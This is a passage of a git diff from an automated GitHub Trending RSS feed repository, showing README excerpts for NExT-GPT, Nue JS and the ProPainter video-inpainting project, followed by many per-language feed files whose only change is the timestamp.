href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/MosIT_data">[./data/IT_data/MosIT_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_3.yaml">[./code/config/stage_3.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_3.yaml">[./code/dsconfig/stage_3.yaml]</a> for more step-wise configurations.</p> </li> </ul> <span id="Run NExT-GPT System"></span> <h2>4. Running NExT-GPT System <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h2> <span id="Prepare checkpoints"></span> <h4>4.1. Preparing Checkpoints</h4> <p>First, loading the pre-trained NExT-GPT system.</p> <ul> <li> <p><strong>Step-1</strong>: load <code>Frozen parameters</code>. Please refer to <a href="#Prepare Pre-trained Checkpoint">3.1 Preparing Pre-trained Checkpoint</a>.</p> </li> <li> <p><strong>Step-2</strong>: load <code>Tunable parameters</code>. Please put the NExT-GPT system in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/delta_ckpt/nextgpt/7b_tiva_v0">[./ckpt/delta_ckpt/nextgpt/7b_tiva_v0]</a>. You may either 1) use the params trained yourselves, or 2) download our checkpoints from <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#">here</a>. (<em>We are still working hard on optimizing the system, and will release the params shortly.</em>)</p> </li> </ul> <span id="Deploy Demo System"></span> <h4>4.2. Deploying Gradio Demo</h4> <p>Upon completion of the checkpoint loading, you can run the demo locally via:</p> <pre><code class="language-angular2html">cd ./code bash scripts/app.sh </code></pre> <p>Specifying the key arguments as:</p> <ul> <li><code>--nextgpt_ckpt_path</code>: the path of pre-trained NExT-GPT params.</li> </ul> <hr> <h2>Contact</h2> <p>For any questions or feedback, feel free to contact <a href="mailto:swu@u.nus.edu">Shengqiong Wu</a> and <a href="mailto:haofei37@nus.edu.sg">Hao Fei</a>.</p> <h2>Citation</h2> <p>If you find NextGPT useful in your research or applications, please kindly cite:</p> <pre><code>@articles{wu2023nextgpt, title={NExT-GPT: Any-to-Any Multimodal LLM}, author={Shengqiong Wu and Hao Fei and Leigang Qu and Wei Ji and Tat-Seng Chua}, journal = {CoRR}, volume = {abs/2309.05519}, year={2023} } </code></pre> <h2>Acknowledgements</h2> <p>You may refer to related work that serves as foundations for our framework and code repository, <a href="https://github.com/lm-sys/FastChat">Vicuna</a>, <a href="https://github.com/facebookresearch/ImageBind">ImageBind</a>, <a href="https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/text2img">Stable Diffusion</a>, <a href="https://github.com/haoheliu/AudioLDM">AudioLDM</a>, and <a href="https://huggingface.co/cerspense/zeroscope_v2_576w">Zeroscope</a>. We also partially draw inspirations from <a href="https://github.com/yxuansu/PandaGPT">PandaGPT</a>, <a href="https://vpgtrans.github.io/">VPGTrans</a>, <a href="https://github.com/kohjingyu/gill/">GILL</a>, <a href="https://codi-gen.github.io/">CoDi</a>, <a href="https://github.com/DAMO-NLP-SG/Video-LLaMA">Video-LLaMA</a>, and <a href="https://github.com/Vision-CAIR/MiniGPT-4">MiniGPT-4</a>. Thanks for their wonderful works.</p> <h2>License Notices</h2> <p>This repository is under <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/LICENSE.txt">BSD 3-Clause License</a>. NExT-GPT is a research project intended for non-commercial use only. One must NOT use the code of NExT-GPT for any illegal, harmful, violent, racist, or sexual purposes. One is strictly prohibited from engaging in any activity that will potentially violate these guidelines. Any potential commercial use of this code should be approved by the authors.</p> - nuejs/nuejs - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/nuejs/nuejs - - <p>Build user interfaces with 10x less code. Alternative to React, Vue, and Svelte</p><hr><a href="https://nuejs.org"> <img src="https://nuejs.org/global/logo/logo.png" width="275" alt="Nue logo"> </a> <p><a href="https://raw.githubusercontent.com/nuejs.org/backstory/">Backstory</a> • <a href="https://raw.githubusercontent.com/nuejs.org/ecosystem/">Ecosystem</a> • <a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/">Documentation</a> • <a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/getting-started.html">Getting started</a></p> <h1>What is Nue JS?</h1> <p>Nue JS is an exceptionally small (2.3kb minzipped) JavaScript library for building web interfaces. It is the core of the upcoming <a href="https://raw.githubusercontent.com/nuejs.org/ecosystem/">Nue ecosystem</a>. It’s like <strong>Vue.js, React.js</strong>, or <strong>Svelte</strong> but there are no hooks, effects, props, portals, watchers, provides, injects, suspension, or other unusual abstractions on your way. Learn the basics of HTML, CSS, and JavaScript and you are good to go.</p> <h2>Build user interfaces with 10x less code</h2> <p>The biggest benefit of Nue is that you need less code to do the same thing:</p> <p><img src="https://nuejs.org/docs/img/react-listbox-big.jpg" alt="The amount of code required to build a basic listbox UI component"></p> <p>It's not unusual to see 10x differences in the amount of code you need to write. For example, a listbox component written with Nue is around <a href="https://raw.githubusercontent.com/nuejs.org/compare/component.html">ten times smaller</a> than the <a href="https://headlessui.com/react/listbox">React version</a> from the Headless UI project.</p> <h2>"It's just HTML"</h2> <p>Nue uses an HTML-based template syntax:</p> <pre><code class="language-html">&lt;div @name="media-object" class="{ type }"&gt; &lt;img src="{ img }"&gt; &lt;aside&gt; &lt;h3&gt;{ title }&lt;/h3&gt; &lt;p :if="desc"&gt;{ desc }&lt;/h3&gt; &lt;slot/&gt; &lt;/aside&gt; &lt;/div&gt; </code></pre> <p>While React and JSX claim to be "Just JavaScript", Nue can be thought of as "Just HTML". Nue is perfect for <a href="https://css-tricks.com/the-great-divide/">UX developers</a> focusing on interaction design, accessibility, and user experience.</p> <h2>Built to scale</h2> <p>Three reasons why Nue scales extremely well:</p> <ol> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org//why/#soc">Separation of concerns</a>, easy-to-understand code is easier to scale than "spaghetti code"</p> </li> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org/why/#minimalism">Minimalism</a>, a hundred lines of code is easier to scale than a thousand lines of code</p> </li> <li> <p><strong>Separation of talent</strong>, when UX developers focus on the <a href="https://bradfrost.com/blog/post/front-of-the-front-end-and-back-of-the-front-end-web-development/">front of the frontend</a> and JS/TS developers focus on the back of the frontend your team skills are optimally aligned:</p> </li> </ol> <p><img src="https://nuejs.org/docs/img/ux-developer-big.png" alt="The best results are gained when UX developers and JavaScript developers work together without overlaps"></p> <h3>Decoupled styling</h3> <p>Nue does not promote the use of Scoped CSS, style attribute, Tailwind, or other CSS-in-JS gymnastics:</p> <ol> <li> <p><strong>More reusable code</strong>: When styling is not hardcoded to the component, the same component can look different depending on the page or context.</p> </li> <li> <p><strong>No spaghetti code</strong>: pure HTML or pure CSS is easier to read than mixed spaghetti code</p> </li> <li> <p><strong>Faster page loads</strong>: With decoupled styling it's easier to extract primary CSS from the secondary and keep your HTML page under the critical <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/How_browsers_work#tcp_slow_start_14kb_rule">14kb limit</a>.</p> </li> </ol> <p>Learn more about <a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/styling-components.html">styling</a></p> <h2>Reactive and isomorphic</h2> <p>Nue has a rich component model and it allows you to create all kinds of applications using different kinds of components:</p> <ol> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/server-components.html">Server components</a> are rendered on the server. They help you build content-focused websites that load faster without JavaScript and are crawled by search engines.</p> </li> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/reactive-components.html">Reactive components</a> are rendered on the client. They help you build dynamic islands or single-page applications.</p> </li> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/isomorphic-components.html#hybrid">Hybrid components</a> are partly rendered on the server side, and partly on the client side. These components help you build reactive, SEO-friendly components like video tags or image galleries.</p> </li> <li> <p><a href="https://raw.githubusercontent.com/nuejs.org/docs/nuejs/isomorphic-components.html">Universal components</a> are used identically on both server- and client side.</p> </li> </ol> <h2>UI library files</h2> <p>Nue allows you to define multiple components on a single file. This is a great way to group related components together and simplify dependency management.</p> <pre><code class="language-html">&lt;!-- shared variables and methods --&gt; &lt;script&gt; import { someMethod } from './util.js' &lt;/script&gt; &lt;!-- first component --&gt; &lt;article @name="todo"&gt; ... &lt;/article&gt; &lt;!-- second component --&gt; &lt;div @name="todo-item"&gt; ... &lt;/div&gt; &lt;!-- third component --&gt; &lt;time @name="cute-date"&gt; ... &lt;/time&gt; </code></pre> <p>With library files, your filesystem hierarchy looks cleaner and you need less boilerplate code to tie connected pieces together. They help in packaging libraries for others.</p> <h2>Simpler tooling</h2> <p>Nue JS comes with a simple <code>render</code> function for server-side rendering and a <code>compile</code> function to generate components for the browser. You don't need complex bundlers like Webpack or Vite to take control of your development environment. Just import Nue to your project and you are good to go.</p> <p>You can of course use a bundler on the business model if your application becomes more complex with tons of dependencies. <a href="https://raw.githubusercontent.com/bun.sh">Bun</a> and <a href="https://raw.githubusercontent.com/esbuild.github.io/">esbuild</a> are great, performant options.</p> <h2>Use cases</h2> <p>Nue JS is a versatile tool that supports both server- and client-side rendering and helps you build both content-focused websites and reactive single-page applications.</p> <ol> <li> <p><strong>UI library development</strong> Create reusable components for reactive frontends or server-generated content.</p> </li> <li> <p><strong>Progressive enhancement</strong> Nue JS is a perfect micro library to enhance your content-focused website with dynamic components or "islands"</p> </li> <li> <p><strong>Static website generators</strong> Just import it into your project and you are ready to render. No bundlers are needed.</p> </li> <li> <p><strong>Single-page applications</strong> Build simpler and more scalable apps together with an upcoming <em>Nue MVC</em>- project.</p> </li> <li> <p><strong>Templating</strong> Nue is a generic tool to generate your websites and HTML emails.</p> </li> </ol> + sczhou/ProPainter + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/sczhou/ProPainter + + <p>[ICCV 2023] ProPainter: Improving Propagation and Transformer for Video Inpainting</p><hr><div align="center"> <div class="logo"> <a href="https://shangchenzhou.com/projects/ProPainter/"> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/propainter_logo1_glow.png" style="width:180px"> </a> </div> <h1>ProPainter: Improving Propagation and Transformer for Video Inpainting</h1> <div> <a href="https://shangchenzhou.com/" target="_blank">Shangchen Zhou</a>  <a href="https://li-chongyi.github.io/" target="_blank">Chongyi Li</a>  <a href="https://ckkelvinchan.github.io/" target="_blank">Kelvin C.K. Chan</a>  <a href="https://www.mmlab-ntu.com/person/ccloy/" target="_blank">Chen Change Loy</a> </div> <div> S-Lab, Nanyang Technological University  </div> <div> <strong>ICCV 2023</strong> </div> <div> <h4 align="center"> <a href="https://shangchenzhou.com/projects/ProPainter" target="_blank"> <img src="https://img.shields.io/badge/🐳-Project%20Page-blue"> </a> <a href="https://arxiv.org/abs/2309.03897" target="_blank"> <img src="https://img.shields.io/badge/arXiv-2309.03897-b31b1b.svg?sanitize=true"> </a> <a href="https://youtu.be/Cc89WF-2zz0" target="_blank"> <img src="https://img.shields.io/badge/Demo%20Video-%23FF0000.svg?logo=YouTube&amp;logoColor=white"> </a> <img src="https://api.infinitescript.com/badgen/count?name=sczhou/ProPainter"> </h4> </div> <p>⭐ If ProPainter is helpful to your projects, please help star this repo. Thanks! 🤗</p> <p><span>📖</span> For more visual results, go checkout our <a href="https://shangchenzhou.com/projects/ProPainter/" target="_blank">project page</a></p> <hr> </div> <h2>Update</h2> <ul> <li><strong>2023.09.07</strong>: Our code and model are publicly available. <span>🐳</span></li> <li><strong>2023.09.01</strong>: This repo is created.</li> </ul> <h2>Results</h2> <h4>🏂 Object Removal</h4> <table> <tbody> <tr> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/object_removal1.gif"> </td> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/object_removal2.gif"> </td> </tr> </tbody> </table> <h4>🌈 Watermark Removal</h4> <table> <tbody> <tr> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/watermark_removal1.gif"> </td> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/watermark_removal2.gif"> </td> </tr> </tbody> </table> <h4>🎨 Video Completion</h4> <table> <tbody> <tr> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/video_completion1.gif"> </td> <td> <img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/video_completion2.gif"> </td> </tr> </tbody> </table> <h2>Overview</h2> <p><img src="https://raw.githubusercontent.com/sczhou/ProPainter/main/assets/ProPainter_pipeline.png" alt="overall_structure"></p> <h2>Dependencies and Installation</h2> <ol> <li> <p>Clone Repo</p> <pre><code class="language-bash">git clone https://github.com/sczhou/ProPainter.git </code></pre> </li> <li> <p>Create Conda Environment and Install Dependencies</p> <pre><code class="language-bash">conda env create -f environment.yaml conda activate propainter </code></pre> <ul> <li>Python &gt;= 3.7</li> <li>PyTorch &gt;= 1.6.0</li> <li>CUDA &gt;= 9.2</li> <li><a href="https://github.com/open-mmlab/mmcv/tree/v1.4.8#installation">mmcv-full</a> (refer the command table to install v1.4.8)</li> </ul> </li> </ol> <h2>Get Started</h2> <h3>Prepare pretrained models</h3> <p>Download our pretrained models from <a href="https://github.com/sczhou/ProPainter/releases/tag/v0.1.0">Releases V0.1.0</a> to the <code>weights</code> folder. (All pretrained models can also be automatically downloaded during the first inference.)</p> <p>The directory structure will be arranged as:</p> <pre><code>weights |- ProPainter.pth |- recurrent_flow_completion.pth |- raft-things.pth |- i3d_rgb_imagenet.pt (for evaluating VFID metric) |- README.md </code></pre> <h3>Quick test</h3> <p>We provide some examples in the <a href="https://raw.githubusercontent.com/sczhou/ProPainter/main/inputs"><code>inputs</code></a> folder. Run the following commands to try it out:</p> <pre><code class="language-shell"># The first example (object removal) python inference_propainter.py --video inputs/object_removal/bmx-trees --mask inputs/object_removal/bmx-trees_mask # The second example (watermark removal) python inference_propainter.py --video inputs/watermark_removal/running_car.mp4 --mask inputs/watermark_removal/mask.png </code></pre> <p>The results will be saved in the <code>results</code> folder. To test your own videos, please prepare the input <code>mp4 video</code> (or <code>split frames</code>) and <code>frame-wise mask(s)</code>.</p> <p>If you want to specify the video resolution for processing or avoid running out of memory, you can use the <code>--set_size</code> flag and set the video size of <code>--width</code> and <code>--height</code>:</p> <pre><code class="language-shell"># process a 576x320 video python inference_propainter.py --video inputs/watermark_removal/running_car.mp4 --mask inputs/watermark_removal/mask.png --set_size --height 320 --width 576 </code></pre> <p>Regarding the issue of <strong>running out of memory</strong>, you can mitigate it by reducing the number of local neighbors through decreasing the <code>--neighbor_length</code> (default 20) or reducing the number of global references by increasing the <code>--ref_stride</code> (default 10).</p> <h3>Dataset preparation for training and evaluation</h3> <table> <thead> <tr> <th>Dataset</th> <th>YouTube-VOS</th> <th>DAVIS</th> </tr> </thead> <tbody> <tr> <td>Description</td> <td>For training (3,471) and evaluation (508)</td> <td>For evaluation (50 in 90)</td> </tr> <tr> <td>Images</td> <td> [<a href="https://competitions.codalab.org/competitions/19544#participate-get-data">Official Link</a>] (Download train and test all frames) </td> <td> [<a href="https://data.vision.ee.ethz.ch/csergi/share/davis/DAVIS-2017-trainval-480p.zip">Official Link</a>] (2017, 480p, TrainVal) </td> </tr> <tr> <td>Masks</td> <td colspan="2"> [<a href="https://drive.google.com/file/d/1dFTneS_zaJAHjglxU10gYzr1-xALgHa4/view?usp=sharing">Google Drive</a>] [<a href="https://pan.baidu.com/s/1JC-UKmlQfjhVtD81196cxA?pwd=87e3">Baidu Disk</a>] (For reproducing paper results; provided in <a href="https://github.com/MCG-NKU/E2FGVI">E<sup>2</sup>FGVI</a> paper) </td> </tr> </tbody> </table> <p>The training and test split files are provided in <code>datasets/&lt;dataset_name&gt;</code>. For each dataset, you should place <code>JPEGImages</code> to <code>datasets/&lt;dataset_name&gt;</code>. Resize all video frames to size <code>432x240</code> for training. Unzip downloaded mask files to <code>datasets</code>.</p> <p>The <code>datasets</code> directory structure will be arranged as: (<strong>Note</strong>: please check it carefully)</p> <pre><code>datasets |- davis |- JPEGImages_432_240 |- &lt;video_name&gt; |- 00000.jpg |- 00001.jpg |- test_masks |- &lt;video_name&gt; |- 00000.png |- 00001.png |- train.json |- test.json |- youtube-vos |- JPEGImages_432_240 |- &lt;video_name&gt; |- 00000.jpg |- 00001.jpg |- test_masks |- &lt;video_name&gt; |- 00000.png |- 00001.png |- train.json |- test.json </code></pre> <h3>Evaluation</h3> <p>Run one of the following commands for evaluation:</p> <pre><code class="language-shell"> # For evaluating flow completion model python scripts/evaluate_flow_completion.py --dataset &lt;dataset_name&gt; --video_root &lt;video_root&gt; --mask_root &lt;mask_root&gt; --save_results # For evaluating ProPainter model python scripts/evaluate_propainter.py --dataset &lt;dataset_name&gt; --video_root &lt;video_root&gt; --mask_root &lt;mask_root&gt; --save_results </code></pre> <p>The scores and results will also be saved in the <code>results_eval</code> folder. Please <code>--save_results</code> for further <a href="https://github.com/phoenix104104/fast_blind_video_consistency#evaluation">evaluating temporal warping error</a>.</p> <h3>Training</h3> <p>Our training configures are provided in <a href="https://raw.githubusercontent.com/sczhou/ProPainter/main/configs/train_flowcomp.json"><code>train_flowcomp.json</code></a> (for Recurrent Flow Completion Network) and <a href="https://raw.githubusercontent.com/sczhou/ProPainter/main/configs/train_propainter.json"><code>train_propainter.json</code></a> (for ProPainter).</p> <p>Run one of the following commands for training:</p> <pre><code class="language-shell"> # For training Recurrent Flow Completion Network python train.py -c configs/train_flowcomp.json # For training ProPainter python train.py -c configs/train_propainter.json </code></pre> <p>You can run the <strong>same command</strong> to <strong>resume</strong> your training.</p> <h2>Citation</h2> <p>If you find our repo useful for your research, please consider citing our paper:</p> <pre><code class="language-bibtex">@inproceedings{zhou2023propainter, title={{ProPainter}: Improving Propagation and Transformer for Video Inpainting}, author={Zhou, Shangchen and Li, Chongyi and Chan, Kelvin C.K and Loy, Chen Change}, booktitle={Proceedings of IEEE International Conference on Computer Vision (ICCV)}, year={2023} } </code></pre> <h2>License</h2> <p>This project is licensed under <a rel="license" href="https://raw.githubusercontent.com/sczhou/ProPainter/main/LICENSE">NTU S-Lab License 1.0</a>. Redistribution and use should follow this license.</p> <h2>Contact</h2> <p>If you have any questions, please feel free to reach me out at <code>shangchenzhou@gmail.com</code>.</p> <h2>Acknowledgement</h2> <p>This code is based on <a href="https://github.com/MCG-NKU/E2FGVI">E<sup>2</sup>FGVI</a> and <a href="https://github.com/researchmm/STTN">STTN</a>. Some code are brought from <a href="https://github.com/ckkelvinchan/BasicVSR_PlusPlus">BasicVSR++</a>. Thanks for their awesome works.</p> \ No newline at end of file diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml index f24ee91f1db..f66584aebba 100644 --- a/alloy/daily/index.xml +++ b/alloy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alloy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:29Z + 2023-09-20T01:24:14Z Daily Trending of Alloy in GitHub \ No newline at end of file diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml index 3ff27681d2e..a15c2bfd16d 100644 --- a/alpine-abuild/daily/index.xml +++ b/alpine-abuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alpine Abuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:28Z + 2023-09-20T01:24:15Z Daily Trending of Alpine Abuild in GitHub \ No newline at end of file diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml index bb92a77bf34..039e9b4b5f0 100644 --- a/altium-designer/daily/index.xml +++ b/altium-designer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Altium Designer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:30Z + 2023-09-20T01:24:13Z Daily Trending of Altium Designer in GitHub \ No newline at end of file diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml index b3e7507782a..a1926f349a8 100644 --- a/ampl/daily/index.xml +++ b/ampl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AMPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:34Z + 2023-09-20T01:24:19Z Daily Trending of AMPL in GitHub \ No newline at end of file diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml index 3a8ff96feed..0ed44e3f432 100644 --- a/angelscript/daily/index.xml +++ b/angelscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AngelScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:31Z + 2023-09-20T01:24:18Z Daily Trending of AngelScript in GitHub \ No newline at end of file diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml index 9e2f923a1d5..45028628157 100644 --- a/ant-build-system/daily/index.xml +++ b/ant-build-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ant Build System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:33Z + 2023-09-20T01:24:21Z Daily Trending of Ant Build System in GitHub \ No newline at end of file diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml index cb80b01dbeb..4c3dd1322c9 100644 --- a/antlr/daily/index.xml +++ b/antlr/daily/index.xml @@ -1,7 +1,7 @@ GitHub ANTLR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:35Z + 2023-09-20T01:24:24Z Daily Trending of ANTLR in GitHub \ No newline at end of file diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml index f37b71fc16a..e7854e54387 100644 --- a/apacheconf/daily/index.xml +++ b/apacheconf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ApacheConf Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:37Z + 2023-09-20T01:24:25Z Daily Trending of ApacheConf in GitHub \ No newline at end of file diff --git a/apex/daily/index.xml b/apex/daily/index.xml index 4d4f4389849..f12be15ae84 100644 --- a/apex/daily/index.xml +++ b/apex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:36Z + 2023-09-20T01:24:23Z Daily Trending of Apex in GitHub \ No newline at end of file diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml index cfe3b273ec8..a52b7ac85bc 100644 --- a/api-blueprint/daily/index.xml +++ b/api-blueprint/daily/index.xml @@ -1,7 +1,7 @@ GitHub API Blueprint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:38Z + 2023-09-20T01:24:22Z Daily Trending of API Blueprint in GitHub \ No newline at end of file diff --git a/apl/daily/index.xml b/apl/daily/index.xml index 1574678b79c..12c34a7112a 100644 --- a/apl/daily/index.xml +++ b/apl/daily/index.xml @@ -1,7 +1,7 @@ GitHub APL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:42Z + 2023-09-20T01:24:29Z Daily Trending of APL in GitHub \ No newline at end of file diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml index ddccf114481..45284700ce1 100644 --- a/apollo-guidance-computer/daily/index.xml +++ b/apollo-guidance-computer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apollo Guidance Computer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:39Z + 2023-09-20T01:24:30Z Daily Trending of Apollo Guidance Computer in GitHub \ No newline at end of file diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml index ce5daf0313e..cfa4a7f1b0b 100644 --- a/applescript/daily/index.xml +++ b/applescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AppleScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:40Z + 2023-09-20T01:24:28Z Daily Trending of AppleScript in GitHub \ No newline at end of file diff --git a/arc/daily/index.xml b/arc/daily/index.xml index 0a3ee3fc549..c646d08e0b2 100644 --- a/arc/daily/index.xml +++ b/arc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Arc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:41Z + 2023-09-20T01:24:27Z Daily Trending of Arc in GitHub \ No newline at end of file diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml index fbd66d5b5cd..098a9a27f1c 100644 --- a/asciidoc/daily/index.xml +++ b/asciidoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub AsciiDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:45Z + 2023-09-20T01:24:32Z Daily Trending of AsciiDoc in GitHub \ No newline at end of file diff --git a/asl/daily/index.xml b/asl/daily/index.xml index 55cac7de36a..dea88c31c4a 100644 --- a/asl/daily/index.xml +++ b/asl/daily/index.xml @@ -1,14 +1,7 @@ GitHub ASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:46Z + 2023-09-20T01:24:33Z Daily Trending of ASL in GitHub - - AshwinJd/RoadWarrior-Katas-NIIT_Gurus - 2023-09-19T01:24:46Z - tag:github.com,2023-09-19:/AshwinJd/RoadWarrior-Katas-NIIT_Gurus - - <p></p><hr> - \ No newline at end of file diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml index e6cfaee38c9..ec7c70df89e 100644 --- a/asn.1/daily/index.xml +++ b/asn.1/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASN.1 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:43Z + 2023-09-20T01:24:31Z Daily Trending of ASN.1 in GitHub \ No newline at end of file diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml index 92edccecf74..5651bdc9796 100644 --- a/asp.net/daily/index.xml +++ b/asp.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASP.NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:48Z + 2023-09-20T01:24:35Z Daily Trending of ASP.NET in GitHub \ No newline at end of file diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml index 2563588d94e..458e11e6da4 100644 --- a/aspectj/daily/index.xml +++ b/aspectj/daily/index.xml @@ -1,7 +1,7 @@ GitHub AspectJ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:47Z + 2023-09-20T01:24:36Z Daily Trending of AspectJ in GitHub \ No newline at end of file diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml index e257a9ddbb9..ae30539a85b 100644 --- a/assembly/daily/index.xml +++ b/assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:51Z + 2023-09-20T01:24:41Z Daily Trending of Assembly in GitHub \ No newline at end of file diff --git a/astro/daily/index.xml b/astro/daily/index.xml index ec2904d0b1b..32a4d8f1151 100644 --- a/astro/daily/index.xml +++ b/astro/daily/index.xml @@ -1,7 +1,7 @@ GitHub Astro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:54Z + 2023-09-20T01:24:38Z Daily Trending of Astro in GitHub \ No newline at end of file diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml index 09835c8fdc9..43403770bb1 100644 --- a/asymptote/daily/index.xml +++ b/asymptote/daily/index.xml @@ -1,7 +1,7 @@ GitHub Asymptote Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:57Z + 2023-09-20T01:24:42Z Daily Trending of Asymptote in GitHub \ No newline at end of file diff --git a/ats/daily/index.xml b/ats/daily/index.xml index e7dde188d38..9f3aa57993d 100644 --- a/ats/daily/index.xml +++ b/ats/daily/index.xml @@ -1,7 +1,7 @@ GitHub ATS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:55Z + 2023-09-20T01:24:44Z Daily Trending of ATS in GitHub \ No newline at end of file diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml index d3b9b1a241d..3cf3e7cb9c9 100644 --- a/augeas/daily/index.xml +++ b/augeas/daily/index.xml @@ -1,7 +1,7 @@ GitHub Augeas Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:56Z + 2023-09-20T01:24:43Z Daily Trending of Augeas in GitHub \ No newline at end of file diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml index 450f1b18cd9..38ac8778771 100644 --- a/autohotkey/daily/index.xml +++ b/autohotkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoHotkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:58Z + 2023-09-20T01:24:45Z Daily Trending of AutoHotkey in GitHub \ No newline at end of file diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml index a0e287170ad..977fc4b00b7 100644 --- a/autoit/daily/index.xml +++ b/autoit/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoIt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:03Z + 2023-09-20T01:24:50Z Daily Trending of AutoIt in GitHub \ No newline at end of file diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml index 0f1abb5b1c6..9df6e9ca40c 100644 --- a/avro-idl/daily/index.xml +++ b/avro-idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Avro IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:01Z + 2023-09-20T01:24:47Z Daily Trending of Avro IDL in GitHub \ No newline at end of file diff --git a/awk/daily/index.xml b/awk/daily/index.xml index 0f606f7f9cd..8594a8adba7 100644 --- 